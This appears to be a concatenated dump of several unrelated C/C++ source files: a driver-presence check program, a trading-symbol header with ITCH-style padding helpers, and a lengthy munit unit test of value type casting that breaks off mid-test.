pr_foo((struct foo*)status, "main: ");
return 0;
}
|
C
|
/* vim: set sw=2 expandtab tw=80: */
#include <stdio.h>
#include "hello.h"
int main(void) {
if(hello_is_present()){
printf("Hello driver present \r\n");
}
else{
printf("Hello driver not present \r\n");
}
return 0;
}
|
C
|
#pragma once
#include <stdint.h>
#include <stdio.h>
#include <ctype.h>
typedef uint32_t Price;
typedef uint32_t Quantity;
enum class Side : uint8_t
{
bid = 1,
ask = 0,
};
inline void toString(char* buf, size_t bufLen, Side s)
{
snprintf(buf, bufLen, "%s", s == Side::bid ? "bid" : "ask");
}
union Symbol
{
char s[8];
uint64_t n;
static inline Symbol itchify(const char* name)
{
Symbol out;
int i = 0;
for(; i < 8 && isalpha(name[i]); i++)
out.s[i] = name[i];
for(; i < 8; i++)
out.s[i] = ' ';
return out;
}
inline Symbol truncate() const
{
Symbol out;
for(int i = 0; i < 8; i++)
{
if(s[i] == ' ')
{
out.s[i] = '\0';
break;
}
else out.s[i] = s[i];
}
return out;
}
static constexpr Symbol None() { return (Symbol){ .n = 0 }; }
};
static_assert(sizeof(Symbol) == 8, "Symbol miscompiled");
inline void toString(char* buf, size_t bufLen, Symbol s)
{
Symbol t = s.truncate();
char* pos = t.s;
while(*pos != '\0' && pos - t.s < bufLen)
*buf++ = *pos++;
}
|
C
|
#include <stdio.h>
#include <string.h>
#include <float.h>
#include <math.h>
#include <errno.h>
#include <munit/munit.h>
#include <value.h>
MunitResult
test_value_cast(const MunitParameter Parameters[], void *Fixture) {
VALUE sCopy, sValue;
errno = 0;
munit_assert_int(value_cast(NULL, TYPE_NONE), ==, -1);
munit_assert_int(errno, ==, EINVAL);
value_initialise(&sValue);
value_assign(&sValue, TYPE_LINT, -1);
munit_assert_uint32(sValue.Type, ==, TYPE_LINT);
munit_assert_uint32(sValue.Flags, ==, FLAG_NONE);
munit_assert_int64(sValue.Value.S64, ==, (int64_t) -1);
munit_assert_int(value_cast(&sValue, TYPE_LINT, NULL), ==, 0);
value_initialise(&sCopy);
munit_assert_uint32(sCopy.Type, ==, TYPE_NONE);
munit_assert_uint32(sCopy.Flags, ==, FLAG_NONE);
munit_assert_int(value_cast(&sCopy, TYPE_SINT, &sValue), ==, 0);
munit_assert_uint32(sCopy.Type, ==, TYPE_SINT);
munit_assert_uint32(sCopy.Flags, ==, FLAG_NONE);
munit_assert_int8(sValue.Value.S8, ==, -1);
munit_assert_int(value_cast(&sCopy, TYPE_SINT), ==, 0);
munit_assert_uint32(sCopy.Type, ==, TYPE_SINT);
munit_assert_int(value_cast(&sCopy, TYPE_NONE), ==, 0);
munit_assert_uint32(sCopy.Type, ==, TYPE_SINT);
value_destroy(&sCopy);
value_destroy(&sValue);
// TYPE_LREAL
value_initialise(&sValue);
value_assign(&sValue, TYPE_LREAL, -1.0);
munit_assert_int(value_cast(&sValue, TYPE_LREAL), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_LREAL);
munit_assert_size(sValue.Length, ==, sizeof(double));
munit_assert_double(sValue.Maximum.Double, ==, DBL_MAX);
munit_assert_double(sValue.Minimum.Double, ==, DBL_MIN);
munit_assert_double(sValue.Value.Double, ==, -1.0);
value_assign(&sValue, TYPE_LREAL, -1.0);
munit_assert_int(value_cast(&sValue, TYPE_REAL), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_REAL);
munit_assert_size(sValue.Length, ==, sizeof(float));
munit_assert_float(sValue.Maximum.Single, ==, FLT_MAX);
munit_assert_float(sValue.Minimum.Single, ==, FLT_MIN);
munit_assert_float(sValue.Value.Single, ==, -1.0f);
value_assign(&sValue, TYPE_LREAL, -1.0);
munit_assert_int(value_cast(&sValue, TYPE_LINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_LINT);
munit_assert_size(sValue.Length, ==, sizeof(int64_t));
munit_assert_int64(sValue.Maximum.S64, ==, INT64_MAX);
munit_assert_int64(sValue.Minimum.S64, ==, INT64_MIN);
munit_assert_int64(sValue.Value.S64, ==, -1);
value_assign(&sValue, TYPE_LREAL, -1.0);
munit_assert_int(value_cast(&sValue, TYPE_DINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DINT);
munit_assert_size(sValue.Length, ==, sizeof(int32_t));
munit_assert_int32(sValue.Maximum.S32, ==, INT32_MAX);
munit_assert_int32(sValue.Minimum.S32, ==, INT32_MIN);
munit_assert_int32(sValue.Value.S32, ==, -1);
value_assign(&sValue, TYPE_LREAL, -1.0);
munit_assert_int(value_cast(&sValue, TYPE_INT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_INT);
munit_assert_size(sValue.Length, ==, sizeof(int16_t));
munit_assert_int16(sValue.Maximum.S16, ==, INT16_MAX);
munit_assert_int16(sValue.Minimum.S16, ==, INT16_MIN);
munit_assert_int16(sValue.Value.S16, ==, -1);
value_assign(&sValue, TYPE_LREAL, -1.0);
munit_assert_int(value_cast(&sValue, TYPE_SINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_SINT);
munit_assert_size(sValue.Length, ==, sizeof(int8_t));
munit_assert_int8(sValue.Maximum.S8, ==, INT8_MAX);
munit_assert_int8(sValue.Minimum.S8, ==, INT8_MIN);
munit_assert_int8(sValue.Value.S8, ==, -1);
value_assign(&sValue, TYPE_LREAL, 1.0);
munit_assert_int(value_cast(&sValue, TYPE_ULINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_ULINT);
munit_assert_size(sValue.Length, ==, sizeof(uint64_t));
munit_assert_uint64(sValue.Maximum.U64, ==, UINT64_MAX);
munit_assert_uint64(sValue.Minimum.U64, ==, 0);
munit_assert_uint64(sValue.Value.U64, ==, 1);
value_assign(&sValue, TYPE_LREAL, 1.0);
munit_assert_int(value_cast(&sValue, TYPE_UDINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_UDINT);
munit_assert_size(sValue.Length, ==, sizeof(uint32_t));
munit_assert_uint32(sValue.Maximum.U32, ==, UINT32_MAX);
munit_assert_uint32(sValue.Minimum.U32, ==, 0);
munit_assert_uint32(sValue.Value.U32, ==, 1);
value_assign(&sValue, TYPE_LREAL, 1.0);
munit_assert_int(value_cast(&sValue, TYPE_UINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_UINT);
munit_assert_size(sValue.Length, ==, sizeof(uint16_t));
munit_assert_uint16(sValue.Maximum.U16, ==, UINT16_MAX);
munit_assert_uint16(sValue.Minimum.U16, ==, 0);
munit_assert_uint16(sValue.Value.U16, ==, 1);
value_assign(&sValue, TYPE_LREAL, 1.0);
munit_assert_int(value_cast(&sValue, TYPE_USINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_USINT);
munit_assert_size(sValue.Length, ==, sizeof(uint8_t));
munit_assert_uint8(sValue.Maximum.U8, ==, UINT8_MAX);
munit_assert_uint8(sValue.Minimum.U8, ==, 0);
munit_assert_uint8(sValue.Value.U8, ==, 1);
value_assign(&sValue, TYPE_LREAL, 1.0);
munit_assert_int(value_cast(&sValue, TYPE_LWORD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_LWORD);
munit_assert_size(sValue.Length, ==, sizeof(uint64_t));
munit_assert_uint64(sValue.Maximum.B64, ==, UINT64_MAX);
munit_assert_uint64(sValue.Minimum.B64, ==, 0);
munit_assert_uint64(sValue.Value.B64, ==, 1);
value_assign(&sValue, TYPE_LREAL, 1.0);
munit_assert_int(value_cast(&sValue, TYPE_DWORD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DWORD);
munit_assert_size(sValue.Length, ==, sizeof(uint32_t));
munit_assert_uint32(sValue.Maximum.B32, ==, UINT32_MAX);
munit_assert_uint32(sValue.Minimum.B32, ==, 0);
munit_assert_uint32(sValue.Value.B32, ==, 1);
value_assign(&sValue, TYPE_LREAL, 1.0);
munit_assert_int(value_cast(&sValue, TYPE_WORD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_WORD);
munit_assert_size(sValue.Length, ==, sizeof(uint16_t));
munit_assert_uint16(sValue.Maximum.B16, ==, UINT16_MAX);
munit_assert_uint16(sValue.Minimum.B16, ==, 0);
munit_assert_uint16(sValue.Value.B16, ==, 1);
value_assign(&sValue, TYPE_LREAL, 1.0);
munit_assert_int(value_cast(&sValue, TYPE_BYTE), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_BYTE);
munit_assert_size(sValue.Length, ==, sizeof(uint8_t));
munit_assert_uint8(sValue.Maximum.B8, ==, UINT8_MAX);
munit_assert_uint8(sValue.Minimum.B8, ==, 0);
munit_assert_uint8(sValue.Value.B8, ==, 1);
value_assign(&sValue, TYPE_LREAL, 1.0);
munit_assert_int(value_cast(&sValue, TYPE_BOOL), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_BOOL);
munit_assert_size(sValue.Length, ==, sizeof(uint8_t));
munit_assert_uint8(sValue.Maximum.B1, ==, 1);
munit_assert_uint8(sValue.Minimum.B1, ==, 0);
munit_assert_uint8(sValue.Value.B1, ==, 1);
value_assign(&sValue, TYPE_LREAL, 1.0);
munit_assert_int(value_cast(&sValue, TYPE_TIME), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_TIME);
munit_assert_size(sValue.Length, ==, sizeof(float));
munit_assert_float(sValue.Maximum.Time, ==, FLT_MAX);
munit_assert_float(sValue.Minimum.Time, ==, FLT_MIN);
munit_assert_float(sValue.Value.Time, ==, 1.0);
value_assign(&sValue, TYPE_LREAL, 1.0);
munit_assert_int(value_cast(&sValue, TYPE_DATE), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DATE);
munit_assert_size(sValue.Length, ==, sizeof(time_t));
munit_assert_float(sValue.Maximum.DateTime, ==, 0);
munit_assert_float(sValue.Minimum.DateTime, ==, 0);
munit_assert_float(sValue.Value.DateTime, ==, 1);
value_assign(&sValue, TYPE_LREAL, 1.0);
munit_assert_int(value_cast(&sValue, TYPE_DT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DT);
munit_assert_size(sValue.Length, ==, sizeof(time_t));
munit_assert_float(sValue.Maximum.DateTime, ==, 0);
munit_assert_float(sValue.Minimum.DateTime, ==, 0);
munit_assert_float(sValue.Value.DateTime, ==, 1);
value_assign(&sValue, TYPE_LREAL, 1.0);
munit_assert_int(value_cast(&sValue, TYPE_TOD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_TOD);
munit_assert_size(sValue.Length, ==, sizeof(time_t));
munit_assert_float(sValue.Maximum.DateTime, ==, 0);
munit_assert_float(sValue.Minimum.DateTime, ==, 0);
munit_assert_float(sValue.Value.DateTime, ==, 1);
value_destroy(&sValue);
// TYPE_REAL
value_initialise(&sValue);
value_assign(&sValue, TYPE_REAL, -1.0);
munit_assert_int(value_cast(&sValue, TYPE_LREAL), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_LREAL);
munit_assert_size(sValue.Length, ==, sizeof(double));
munit_assert_double(sValue.Maximum.Double, ==, DBL_MAX);
munit_assert_double(sValue.Minimum.Double, ==, DBL_MIN);
munit_assert_double(sValue.Value.Double, ==, -1.0);
value_assign(&sValue, TYPE_REAL, -1.0);
munit_assert_int(value_cast(&sValue, TYPE_REAL), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_REAL);
munit_assert_size(sValue.Length, ==, sizeof(float));
munit_assert_float(sValue.Maximum.Single, ==, FLT_MAX);
munit_assert_float(sValue.Minimum.Single, ==, FLT_MIN);
munit_assert_float(sValue.Value.Single, ==, -1.0f);
value_assign(&sValue, TYPE_REAL, -1.0);
munit_assert_int(value_cast(&sValue, TYPE_LINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_LINT);
munit_assert_size(sValue.Length, ==, sizeof(int64_t));
munit_assert_int64(sValue.Maximum.S64, ==, INT64_MAX);
munit_assert_int64(sValue.Minimum.S64, ==, INT64_MIN);
munit_assert_int64(sValue.Value.S64, ==, -1);
value_assign(&sValue, TYPE_REAL, -1.0);
munit_assert_int(value_cast(&sValue, TYPE_DINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DINT);
munit_assert_size(sValue.Length, ==, sizeof(int32_t));
munit_assert_int32(sValue.Maximum.S32, ==, INT32_MAX);
munit_assert_int32(sValue.Minimum.S32, ==, INT32_MIN);
munit_assert_int32(sValue.Value.S32, ==, -1);
value_assign(&sValue, TYPE_REAL, -1.0);
munit_assert_int(value_cast(&sValue, TYPE_INT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_INT);
munit_assert_size(sValue.Length, ==, sizeof(int16_t));
munit_assert_int16(sValue.Maximum.S16, ==, INT16_MAX);
munit_assert_int16(sValue.Minimum.S16, ==, INT16_MIN);
munit_assert_int16(sValue.Value.S16, ==, -1);
value_assign(&sValue, TYPE_REAL, -1.0);
munit_assert_int(value_cast(&sValue, TYPE_SINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_SINT);
munit_assert_size(sValue.Length, ==, sizeof(int8_t));
munit_assert_int8(sValue.Maximum.S8, ==, INT8_MAX);
munit_assert_int8(sValue.Minimum.S8, ==, INT8_MIN);
munit_assert_int8(sValue.Value.S8, ==, -1);
value_assign(&sValue, TYPE_REAL, 1.0);
munit_assert_int(value_cast(&sValue, TYPE_ULINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_ULINT);
munit_assert_size(sValue.Length, ==, sizeof(uint64_t));
munit_assert_uint64(sValue.Maximum.U64, ==, UINT64_MAX);
munit_assert_uint64(sValue.Minimum.U64, ==, 0);
munit_assert_uint64(sValue.Value.U64, ==, 1);
value_assign(&sValue, TYPE_REAL, 1.0);
munit_assert_int(value_cast(&sValue, TYPE_UDINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_UDINT);
munit_assert_size(sValue.Length, ==, sizeof(uint32_t));
munit_assert_uint32(sValue.Maximum.U32, ==, UINT32_MAX);
munit_assert_uint32(sValue.Minimum.U32, ==, 0);
munit_assert_uint32(sValue.Value.U32, ==, 1);
value_assign(&sValue, TYPE_REAL, 1.0);
munit_assert_int(value_cast(&sValue, TYPE_UINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_UINT);
munit_assert_size(sValue.Length, ==, sizeof(uint16_t));
munit_assert_uint16(sValue.Maximum.U16, ==, UINT16_MAX);
munit_assert_uint16(sValue.Minimum.U16, ==, 0);
munit_assert_uint16(sValue.Value.U16, ==, 1);
value_assign(&sValue, TYPE_REAL, 1.0);
munit_assert_int(value_cast(&sValue, TYPE_USINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_USINT);
munit_assert_size(sValue.Length, ==, sizeof(uint8_t));
munit_assert_uint8(sValue.Maximum.U8, ==, UINT8_MAX);
munit_assert_uint8(sValue.Minimum.U8, ==, 0);
munit_assert_uint8(sValue.Value.U8, ==, 1);
value_assign(&sValue, TYPE_REAL, 1.0);
munit_assert_int(value_cast(&sValue, TYPE_LWORD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_LWORD);
munit_assert_size(sValue.Length, ==, sizeof(uint64_t));
munit_assert_uint64(sValue.Maximum.B64, ==, UINT64_MAX);
munit_assert_uint64(sValue.Minimum.B64, ==, 0);
munit_assert_uint64(sValue.Value.B64, ==, 1);
value_assign(&sValue, TYPE_REAL, 1.0);
munit_assert_int(value_cast(&sValue, TYPE_DWORD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DWORD);
munit_assert_size(sValue.Length, ==, sizeof(uint32_t));
munit_assert_uint32(sValue.Maximum.B32, ==, UINT32_MAX);
munit_assert_uint32(sValue.Minimum.B32, ==, 0);
munit_assert_uint32(sValue.Value.B32, ==, 1);
value_assign(&sValue, TYPE_REAL, 1.0);
munit_assert_int(value_cast(&sValue, TYPE_WORD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_WORD);
munit_assert_size(sValue.Length, ==, sizeof(uint16_t));
munit_assert_uint16(sValue.Maximum.B16, ==, UINT16_MAX);
munit_assert_uint16(sValue.Minimum.B16, ==, 0);
munit_assert_uint16(sValue.Value.B16, ==, 1);
value_assign(&sValue, TYPE_REAL, 1.0);
munit_assert_int(value_cast(&sValue, TYPE_BYTE), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_BYTE);
munit_assert_size(sValue.Length, ==, sizeof(uint8_t));
munit_assert_uint8(sValue.Maximum.B8, ==, UINT8_MAX);
munit_assert_uint8(sValue.Minimum.B8, ==, 0);
munit_assert_uint8(sValue.Value.B8, ==, 1);
value_assign(&sValue, TYPE_REAL, 1.0);
munit_assert_int(value_cast(&sValue, TYPE_BOOL), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_BOOL);
munit_assert_size(sValue.Length, ==, sizeof(uint8_t));
munit_assert_uint8(sValue.Maximum.B1, ==, 1);
munit_assert_uint8(sValue.Minimum.B1, ==, 0);
munit_assert_uint8(sValue.Value.B1, ==, 1);
value_assign(&sValue, TYPE_REAL, 1.0);
munit_assert_int(value_cast(&sValue, TYPE_TIME), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_TIME);
munit_assert_size(sValue.Length, ==, sizeof(float));
munit_assert_float(sValue.Maximum.Time, ==, FLT_MAX);
munit_assert_float(sValue.Minimum.Time, ==, FLT_MIN);
munit_assert_float(sValue.Value.Time, ==, 1.0);
value_assign(&sValue, TYPE_REAL, 1.0);
munit_assert_int(value_cast(&sValue, TYPE_DATE), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DATE);
munit_assert_size(sValue.Length, ==, sizeof(time_t));
munit_assert_float(sValue.Maximum.DateTime, ==, 0);
munit_assert_float(sValue.Minimum.DateTime, ==, 0);
munit_assert_float(sValue.Value.DateTime, ==, 1);
value_assign(&sValue, TYPE_REAL, 1.0);
munit_assert_int(value_cast(&sValue, TYPE_DT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DT);
munit_assert_size(sValue.Length, ==, sizeof(time_t));
munit_assert_float(sValue.Maximum.DateTime, ==, 0);
munit_assert_float(sValue.Minimum.DateTime, ==, 0);
munit_assert_float(sValue.Value.DateTime, ==, 1);
value_assign(&sValue, TYPE_REAL, 1.0);
munit_assert_int(value_cast(&sValue, TYPE_TOD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_TOD);
munit_assert_size(sValue.Length, ==, sizeof(time_t));
munit_assert_float(sValue.Maximum.DateTime, ==, 0);
munit_assert_float(sValue.Minimum.DateTime, ==, 0);
munit_assert_float(sValue.Value.DateTime, ==, 1);
value_destroy(&sValue);
// TYPE_LINT
value_initialise(&sValue);
value_assign(&sValue, TYPE_LINT, -1);
munit_assert_int(value_cast(&sValue, TYPE_LREAL), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_LREAL);
munit_assert_size(sValue.Length, ==, sizeof(double));
munit_assert_double(sValue.Maximum.Double, ==, DBL_MAX);
munit_assert_double(sValue.Minimum.Double, ==, DBL_MIN);
munit_assert_double(sValue.Value.Double, ==, -1.0);
value_assign(&sValue, TYPE_LINT, -1);
munit_assert_int(value_cast(&sValue, TYPE_REAL), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_REAL);
munit_assert_size(sValue.Length, ==, sizeof(float));
munit_assert_float(sValue.Maximum.Single, ==, FLT_MAX);
munit_assert_float(sValue.Minimum.Single, ==, FLT_MIN);
munit_assert_float(sValue.Value.Single, ==, -1.0f);
value_assign(&sValue, TYPE_LINT, -1);
munit_assert_int(value_cast(&sValue, TYPE_LINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_LINT);
munit_assert_size(sValue.Length, ==, sizeof(int64_t));
munit_assert_int64(sValue.Maximum.S64, ==, INT64_MAX);
munit_assert_int64(sValue.Minimum.S64, ==, INT64_MIN);
munit_assert_int64(sValue.Value.S64, ==, -1);
value_assign(&sValue, TYPE_LINT, -1);
munit_assert_int(value_cast(&sValue, TYPE_DINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DINT);
munit_assert_size(sValue.Length, ==, sizeof(int32_t));
munit_assert_int32(sValue.Maximum.S32, ==, INT32_MAX);
munit_assert_int32(sValue.Minimum.S32, ==, INT32_MIN);
munit_assert_int32(sValue.Value.S32, ==, -1);
value_assign(&sValue, TYPE_LINT, -1);
munit_assert_int(value_cast(&sValue, TYPE_INT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_INT);
munit_assert_size(sValue.Length, ==, sizeof(int16_t));
munit_assert_int16(sValue.Maximum.S16, ==, INT16_MAX);
munit_assert_int16(sValue.Minimum.S16, ==, INT16_MIN);
munit_assert_int16(sValue.Value.S16, ==, -1);
value_assign(&sValue, TYPE_LINT, -1);
munit_assert_int(value_cast(&sValue, TYPE_SINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_SINT);
munit_assert_size(sValue.Length, ==, sizeof(int8_t));
munit_assert_int8(sValue.Maximum.S8, ==, INT8_MAX);
munit_assert_int8(sValue.Minimum.S8, ==, INT8_MIN);
munit_assert_int8(sValue.Value.S8, ==, -1);
value_assign(&sValue, TYPE_LINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_ULINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_ULINT);
munit_assert_size(sValue.Length, ==, sizeof(uint64_t));
munit_assert_uint64(sValue.Maximum.U64, ==, UINT64_MAX);
munit_assert_uint64(sValue.Minimum.U64, ==, 0);
munit_assert_uint64(sValue.Value.U64, ==, 1);
value_assign(&sValue, TYPE_LINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_UDINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_UDINT);
munit_assert_size(sValue.Length, ==, sizeof(uint32_t));
munit_assert_uint32(sValue.Maximum.U32, ==, UINT32_MAX);
munit_assert_uint32(sValue.Minimum.U32, ==, 0);
munit_assert_uint32(sValue.Value.U32, ==, 1);
value_assign(&sValue, TYPE_LINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_UINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_UINT);
munit_assert_size(sValue.Length, ==, sizeof(uint16_t));
munit_assert_uint16(sValue.Maximum.U16, ==, UINT16_MAX);
munit_assert_uint16(sValue.Minimum.U16, ==, 0);
munit_assert_uint16(sValue.Value.U16, ==, 1);
value_assign(&sValue, TYPE_LINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_USINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_USINT);
munit_assert_size(sValue.Length, ==, sizeof(uint8_t));
munit_assert_uint8(sValue.Maximum.U8, ==, UINT8_MAX);
munit_assert_uint8(sValue.Minimum.U8, ==, 0);
munit_assert_uint8(sValue.Value.U8, ==, 1);
value_assign(&sValue, TYPE_LINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_LWORD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_LWORD);
munit_assert_size(sValue.Length, ==, sizeof(uint64_t));
munit_assert_uint64(sValue.Maximum.B64, ==, UINT64_MAX);
munit_assert_uint64(sValue.Minimum.B64, ==, 0);
munit_assert_uint64(sValue.Value.B64, ==, 1);
value_assign(&sValue, TYPE_LINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_DWORD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DWORD);
munit_assert_size(sValue.Length, ==, sizeof(uint32_t));
munit_assert_uint32(sValue.Maximum.B32, ==, UINT32_MAX);
munit_assert_uint32(sValue.Minimum.B32, ==, 0);
munit_assert_uint32(sValue.Value.B32, ==, 1);
value_assign(&sValue, TYPE_LINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_WORD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_WORD);
munit_assert_size(sValue.Length, ==, sizeof(uint16_t));
munit_assert_uint16(sValue.Maximum.B16, ==, UINT16_MAX);
munit_assert_uint16(sValue.Minimum.B16, ==, 0);
munit_assert_uint16(sValue.Value.B16, ==, 1);
value_assign(&sValue, TYPE_LINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_BYTE), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_BYTE);
munit_assert_size(sValue.Length, ==, sizeof(uint8_t));
munit_assert_uint8(sValue.Maximum.B8, ==, UINT8_MAX);
munit_assert_uint8(sValue.Minimum.B8, ==, 0);
munit_assert_uint8(sValue.Value.B8, ==, 1);
value_assign(&sValue, TYPE_LINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_BOOL), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_BOOL);
munit_assert_size(sValue.Length, ==, sizeof(uint8_t));
munit_assert_uint8(sValue.Maximum.B1, ==, 1);
munit_assert_uint8(sValue.Minimum.B1, ==, 0);
munit_assert_uint8(sValue.Value.B1, ==, 1);
value_assign(&sValue, TYPE_LINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_TIME), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_TIME);
munit_assert_size(sValue.Length, ==, sizeof(float));
munit_assert_float(sValue.Maximum.Time, ==, FLT_MAX);
munit_assert_float(sValue.Minimum.Time, ==, FLT_MIN);
munit_assert_float(sValue.Value.Time, ==, 1.0);
value_assign(&sValue, TYPE_LINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_DATE), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DATE);
munit_assert_size(sValue.Length, ==, sizeof(time_t));
munit_assert_float(sValue.Maximum.DateTime, ==, 0);
munit_assert_float(sValue.Minimum.DateTime, ==, 0);
munit_assert_float(sValue.Value.DateTime, ==, 1);
value_assign(&sValue, TYPE_LINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_DT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DT);
munit_assert_size(sValue.Length, ==, sizeof(time_t));
munit_assert_float(sValue.Maximum.DateTime, ==, 0);
munit_assert_float(sValue.Minimum.DateTime, ==, 0);
munit_assert_float(sValue.Value.DateTime, ==, 1);
value_assign(&sValue, TYPE_LINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_TOD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_TOD);
munit_assert_size(sValue.Length, ==, sizeof(time_t));
munit_assert_float(sValue.Maximum.DateTime, ==, 0);
munit_assert_float(sValue.Minimum.DateTime, ==, 0);
munit_assert_float(sValue.Value.DateTime, ==, 1);
value_destroy(&sValue);
// TYPE_DINT
value_initialise(&sValue);
value_assign(&sValue, TYPE_DINT, -1);
munit_assert_int(value_cast(&sValue, TYPE_LREAL), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_LREAL);
munit_assert_size(sValue.Length, ==, sizeof(double));
munit_assert_double(sValue.Maximum.Double, ==, DBL_MAX);
munit_assert_double(sValue.Minimum.Double, ==, DBL_MIN);
munit_assert_double(sValue.Value.Double, ==, -1.0);
value_assign(&sValue, TYPE_DINT, -1);
munit_assert_int(value_cast(&sValue, TYPE_REAL), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_REAL);
munit_assert_size(sValue.Length, ==, sizeof(float));
munit_assert_float(sValue.Maximum.Single, ==, FLT_MAX);
munit_assert_float(sValue.Minimum.Single, ==, FLT_MIN);
munit_assert_float(sValue.Value.Single, ==, -1.0f);
value_assign(&sValue, TYPE_DINT, -1);
munit_assert_int(value_cast(&sValue, TYPE_LINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_LINT);
munit_assert_size(sValue.Length, ==, sizeof(int64_t));
munit_assert_int64(sValue.Maximum.S64, ==, INT64_MAX);
munit_assert_int64(sValue.Minimum.S64, ==, INT64_MIN);
munit_assert_int64(sValue.Value.S64, ==, -1);
value_assign(&sValue, TYPE_DINT, -1);
munit_assert_int(value_cast(&sValue, TYPE_DINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DINT);
munit_assert_size(sValue.Length, ==, sizeof(int32_t));
munit_assert_int32(sValue.Maximum.S32, ==, INT32_MAX);
munit_assert_int32(sValue.Minimum.S32, ==, INT32_MIN);
munit_assert_int32(sValue.Value.S32, ==, -1);
value_assign(&sValue, TYPE_DINT, -1);
munit_assert_int(value_cast(&sValue, TYPE_INT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_INT);
munit_assert_size(sValue.Length, ==, sizeof(int16_t));
munit_assert_int16(sValue.Maximum.S16, ==, INT16_MAX);
munit_assert_int16(sValue.Minimum.S16, ==, INT16_MIN);
munit_assert_int16(sValue.Value.S16, ==, -1);
value_assign(&sValue, TYPE_DINT, -1);
munit_assert_int(value_cast(&sValue, TYPE_SINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_SINT);
munit_assert_size(sValue.Length, ==, sizeof(int8_t));
munit_assert_int8(sValue.Maximum.S8, ==, INT8_MAX);
munit_assert_int8(sValue.Minimum.S8, ==, INT8_MIN);
munit_assert_int8(sValue.Value.S8, ==, -1);
value_assign(&sValue, TYPE_DINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_ULINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_ULINT);
munit_assert_size(sValue.Length, ==, sizeof(uint64_t));
munit_assert_uint64(sValue.Maximum.U64, ==, UINT64_MAX);
munit_assert_uint64(sValue.Minimum.U64, ==, 0);
munit_assert_uint64(sValue.Value.U64, ==, 1);
value_assign(&sValue, TYPE_DINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_UDINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_UDINT);
munit_assert_size(sValue.Length, ==, sizeof(uint32_t));
munit_assert_uint32(sValue.Maximum.U32, ==, UINT32_MAX);
munit_assert_uint32(sValue.Minimum.U32, ==, 0);
